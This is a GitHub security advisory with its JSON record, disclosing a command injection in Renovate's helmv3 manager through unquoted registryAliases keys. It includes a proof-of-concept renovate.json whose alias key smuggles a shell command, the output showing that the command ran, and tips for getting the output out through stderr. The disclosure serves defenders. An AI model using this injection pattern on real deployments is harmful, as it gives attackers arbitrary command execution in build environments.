GHSA-RQGV-292V-5QGR
Vulnerability from github – Published: 2024-04-23 16:21 – Updated: 2024-04-23 16:21Summary
Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.
Details
Since #26848, registryAliases has become mergeable. This means that the helmv3 manager started honoring its value and uses a helm repo add <key> <parameters> command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80
The key was not quoted, leading to the ability to use variable references ($FOO) in it and have them printed by Renovate on the pull request, or even running any shell commands.
PoC
Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:
test-chart/Chart.yaml:
apiVersion: v2
name: redis
version: 1.0.0
dependencies:
- name: redis
version: 18.13.10
repository: oci://registry-1.docker.io/bitnamicharts
test-chart/Chart.lock:
dependencies:
- name: redis
repository: oci://registry-1.docker.io/bitnamicharts
version: 18.13.10
digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38
generated: "2024-02-16T13:31:20.807026334Z"
Then add the following renovate.json:
{
"$schema": "https://docs.renovatebot.com/renovate-schema.json",
"extends": [
"config:base"
],
"registryAliases": {
"foo/bar || sh -c 'ls /; exit 1' >&2": "registry.example.com/proxy"
}
}
Once Renovate runs on the repository, it will create a pull request, and add a comment titled "Artifact update problem" containing the following text:
File name: test-chart/Chart.lock
Command failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update
Error: "helm repo add" requires 2 arguments
Usage: helm repo add [NAME] [URL] [flags]
bin
boot
dev
etc
go
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
This shows that the ls command executed successfully, and we can even see its output.
Note that redirecting any output you want to see to stderr (>&2) and making sure the final command fails (exit 1) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.
Impact
All Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate's execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "renovate"
},
"ranges": [
{
"events": [
{
"introduced": "37.158.0"
},
{
"fixed": "37.199.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-23T16:21:09Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nAttackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.\n\n### Details\n\nSince [#26848](https://github.com/renovatebot/renovate/pull/26848), `registryAliases` has become mergeable. This means that the helmv3 manager started honoring its value and uses a `helm repo add \u003ckey\u003e \u003cparameters\u003e` command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80\nThe key was not quoted, leading to the ability to use variable references (`$FOO`) in it and have them printed by Renovate on the pull request, or even running any shell commands.\n\n### PoC\n\nInside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:\n\ntest-chart/Chart.yaml:\n\n```\napiVersion: v2\nname: redis\nversion: 1.0.0\ndependencies:\n - name: redis\n version: 18.13.10\n repository: oci://registry-1.docker.io/bitnamicharts\n```\n\ntest-chart/Chart.lock:\n\n```\ndependencies:\n- name: redis\n repository: oci://registry-1.docker.io/bitnamicharts\n version: 18.13.10\ndigest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38\ngenerated: \"2024-02-16T13:31:20.807026334Z\"\n```\n\nThen add the following `renovate.json`:\n\n```json\n{\n \"$schema\": \"https://docs.renovatebot.com/renovate-schema.json\",\n \"extends\": [\n \"config:base\"\n ],\n \"registryAliases\": {\n \"foo/bar || sh -c \u0027ls /; exit 1\u0027 \u003e\u00262\": \"registry.example.com/proxy\"\n }\n}\n```\n\nOnce Renovate runs on the repository, it will create a pull request, and add a comment titled \"Artifact update problem\" containing the following text:\n\n```\nFile name: test-chart/Chart.lock\n\nCommand failed: helm repo add foo/bar || sh -c \u0027ls /; exit 1\u0027 \u003e\u00262 registry.example.com/proxy --force-update\nError: \"helm repo add\" requires 2 arguments\n\nUsage: helm repo add [NAME] [URL] [flags]\nbin\nboot\ndev\netc\ngo\nhome\nlib\nlib32\nlib64\nlibx32\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n```\n\nThis shows that the `ls` command executed successfully, and we can even see its output.\n\nNote that redirecting any output you want to see to stderr (`\u003e\u00262`) and making sure the final command fails (`exit 1`) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.\n\n### Impact\n\nAll Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate\u0027s execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.\n",
"id": "GHSA-rqgv-292v-5qgr",
"modified": "2024-04-23T16:21:10Z",
"published": "2024-04-23T16:21:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/renovatebot/renovate/security/advisories/GHSA-rqgv-292v-5qgr"
},
{
"type": "WEB",
"url": "https://github.com/renovatebot/renovate/commit/1e941fd885c799f2d38f4084a6f4cb9438813c8f"
},
{
"type": "PACKAGE",
"url": "https://github.com/renovatebot/renovate"
},
{
"type": "WEB",
"url": "https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.